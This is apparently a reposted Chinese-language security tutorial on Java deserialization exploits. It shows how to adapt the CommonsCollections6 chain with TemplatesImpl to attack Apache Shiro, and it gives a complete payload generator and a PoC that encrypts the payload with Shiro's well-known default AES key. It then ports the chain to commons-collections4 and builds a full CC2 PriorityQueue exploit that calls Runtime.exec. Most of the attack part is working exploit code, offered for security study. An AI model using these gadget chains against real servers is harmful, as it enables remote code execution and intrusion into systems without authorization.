wsYu9a2025-09-08文章来源:SecHub网络安全社区
众所周知,原生的cc6打shiro会报错!p牛最后总结出的原因如下:
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
那我们如何来解决这个问题?
前面说到的TemplatesImpl
就可以利用了,通过下面这几行代码来执行一段Java的字节码:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
接下来利用InvokerTransformer
调用TemplatesImpl#newTransformer
方法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
这里仍然用到了Transformer数组,不符合条件,在CommonsCollections6中,我们用到了一个类TiedMapEntry
,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry
类有个getValue
方法,调用了map的get方法,并传入key:
public Object getValue() {
return map.get(key);
}
当这个map是LazyMap时,其get方法就是触发transform的关键点
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
以往构造CommonsCollections Gadget的时候,对LazyMap#get
方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象
但是此时我们无法使用Transformer
数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get
的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
那么我们再回看前面的Transform数组:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
new ConstantTransformer(obj)
这一步完全是可以去除了,数组长度变成1,那么数组也就不需要了。
改造一下CommonsCollections6
首先还是创建TemplatesImpl对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass
,避免恶意方法在构造Gadget的时候触发
Transformer transformer = new InvokerTransformer("getClass", null, null);
再把之前的CommonsCollections6
的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
和我之前的CommonsCollections6稍有不同的是,我之前是使用 outerMap.remove(“keykey”); 来移 除key的副作用,现在是通过 outerMap.clear(); ,效果相同。 最后,将 InvokerTransformer 的方法从人畜无害的 getClass ,改成 newTransformer ,正式完成武 器装配。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getpayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
//对象 barr,这是一个内存中的缓冲区,用于暂时存储将要被序列化的对象数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
//对象 oos,与 ByteArrayOutputStream 相关联,用于将对象写入 ByteArrayOutputStream
ObjectOutputStream oos = new ObjectOutputStream(barr);
//oos.writeObject(expMap) 将对象 expMap 序列化并写入 ByteArrayOutputStream 中
oos.writeObject(expMap);
//oos.close() 关闭 ObjectOutputStream
oos.close();
//barr.toByteArray() 方法,将 ByteArrayOutputStream 中的数据转换为字节数组
barr.toByteArray();
poc:
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.xxx.class.getName());//恶意类
byte[] payloads = new CommonsCollectionsShiro().getpayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
在上边我们利用cc6打shiro时利用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 。
由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:
可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies
因为⽼的Gadget中依赖的包名都是org.apache.commons.collections
,⽽新的包名已经变 了,是org.apache.commons.collections4
。 我们⽤已经熟悉的CC6
利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.*
改成 import org.apache.commons.collections4.*
。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate
这个⽅法没了:
看下decorate
的定义,⾮常简单:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个⽅法不过就是LazyMap
构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}
所以,我们将Gadget中出错的代码换⼀下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
同理,之前的CC1,CC3利用链都可以在commonscollections4
中正常使用
commons-collections
之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer
。所以在commons-collections中找Gadget
的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()
⽅法到 Transformer#transform()
⽅法的调⽤链。
其中两个关键类:
java.util.PriorityQueue
是⼀个有⾃⼰readObject()
⽅法的类:
org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()
⽅法的函数:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以CC2
实际就是⼀条从 PriorityQueue
到TransformingComparator
的利⽤链
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
开始编写POC,⾸先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
再创建⼀个TransformingComparator
,传⼊我们的Transformer
Comparator comparator = new TransformingComparator(transformerChain);
实例化PriorityQueue
对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator
,传⼊前⾯实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,
setFieldValue(transformerChain, "iTransformers", transformers)
完整payload:
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class cc2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
https://www.cnblogs.com/gk0d/p/16886697.html
https://www.cnblogs.com/gk0d/category/2232825.html
https://govuln.com/docs/java-things/